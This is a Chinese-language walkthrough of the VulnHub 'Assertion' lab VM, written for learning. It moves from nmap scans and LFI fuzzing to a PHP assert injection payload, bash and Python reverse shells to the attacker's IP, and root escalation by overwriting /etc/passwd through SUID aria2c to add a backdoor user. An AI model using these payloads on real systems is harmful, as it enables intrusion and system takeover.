靶机地址:https://www.vulnhub.com/entry/assertion-101,495/
一、主机发现+信息收集
nmap -sn 192.168.2.0/24
攻击机ip:192.168.2.128
靶机ip:192.168.2.133
端口扫描
nmap --min-rate 10000 -p- $ip
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:65:35:46 (VMware)
服务信息扫描
nmap -sS -sV -O -p22,80 $ip
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 00:0C:29:65:35:46 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
默认脚本扫描
nmap --script=vuln -p22,80 $ip
二、开始渗透测试
80端口Web应用
默认访问
一个健身运动的页面

指纹识别
whatweb http://192.168.2.133
http://192.168.2.133 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[Colorlib.info@gmail.com], Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.2.133], JQuery[3.3.1], Script, Title[Assertion], X-UA-Compatible[ie=edge]

目录爆破
gobuster dir -u http://192.168.2.133/ -w /usr/share/dirbuster/wordlists/medium.txt
/img (Status: 301) [Size: 312] [--> http://192.168.2.133/img/] /pages (Status: 301) [Size: 314] [--> http://192.168.2.133/pages/] /css (Status: 301) [Size: 312] [--> http://192.168.2.133/css/] /js (Status: 301) [Size: 311] [--> http://192.168.2.133/js/] /fonts (Status: 301) [Size: 314] [--> http://192.168.2.133/fonts/] /Source (Status: 301) [Size: 315] [--> http://192.168.2.133/Source/] /server-status (Status: 403) [Size: 278]
文件泄露
都是些中间件的文件

URL参数

http://192.168.2.133/index.php?page=../../../../../etc/passwd
试一下文件读取,结果是
“Not so easy brother!”
直接被嘲笑了。。

下面给大家推荐一下如果遇到WAF需要绕过的时候使用这个方法fuzz测试进行绕过
📂 LFI专属Payload集合
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
-
特点:
包含 200+ 种经典LFI测试Payload,涵盖:
-
路径遍历(
../../etc/passwd) -
编码绕过(
%2e%2e%2f、....//) -
空字节截断(
/etc/passwd%00) -
Windows/Linux混合路径(
C:\boot.ini、/proc/self/environ)
-
wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hw 0 --hc 404 http://192.168.2.133/index.php?page=FUZZ
这里都是编码后测试到的内容,和上面一样

通过尝试我们发现此处出现的文件包含与https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/index.html中写的assert类似,我们也可以进行远程代码执行' and die(system("id")) or '

http://192.168.2.133/index.php?page=%27%20and%20die(system(%22id%22))%20or%20%27

此处执行成功,我们就可以在Kali上开监听拿权限了
Kali中
nc -nvlp 4444
URL中输入反弹shell指令bash -i >& /dev/tcp/192.168.2.128/4444 0>&1
直接给拦了,我们给指令编码或者换nc、python反弹

URL编码后再次尝试
' and die(system("bash -i >& /dev/tcp/192.168.2.128/4444 0>&1")) or '
不行换其他
http://192.168.2.133/index.php?page=' and die(system("python -c 'import socket,os;s=socket.socket();s.connect((\"192.168.2.128\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system(\"/bin/sh -i\")'")) or '
OK了,不用bash用python进行反弹shell就行了
三、拿到初始权限
拿到的是最低的www-data用户

python3 -c 'import pty; pty.spawn("/bin/bash")'
输入命令获得交互式shell
四、提权
信息收集
id
ip addr
ls -liah
uname -a
find / -perm -u=s -type f -ls 2>/dev/null

在https://gtfobins.github.io/上查询并且一个一个尝试
https://gtfobins.github.io/gtfobins/aria2c/
aria2c

在靶机上
cat /etc/passwd 将信息复制一份,然后回到Kali本地

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin soz:x:1000:1000:Faisal:/home/soz:/bin/bash fnx:x:1001:1001::/home/fnx:/bin/sh
Kali本地上
openssl passwd -6 -salt salt password
获取password这一字符的哈希加盐值
$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.
使用命令vim passwd粘贴刚才获取/etc/passwd信息,并且新建用户名blank,给上密码,格式按照root权限的给
blank:$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.:0:0::/root:/bin/bash
将这行加在最后面
然后开启服务器传给靶机
python -m http.server 800
转到靶机使用aria2c提权
cd /etc 先切换至passwd目录下
/usr/bin/aria2c http://192.168.2.128:800/passwd --allow-overwrite=true
下载并成功利用root用户的权限覆盖了旧的/etc/passwd文件
这相当于给靶机加了一个root后门用户

使用su blank 切换用户
提取成功

这一次学习到了新的提取方法,aria2c覆盖配置文件提权
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/assertion%e9%9d%b6%e6%9c%ba%e7%bb%83%e4%b9%a0/
共有 0 条评论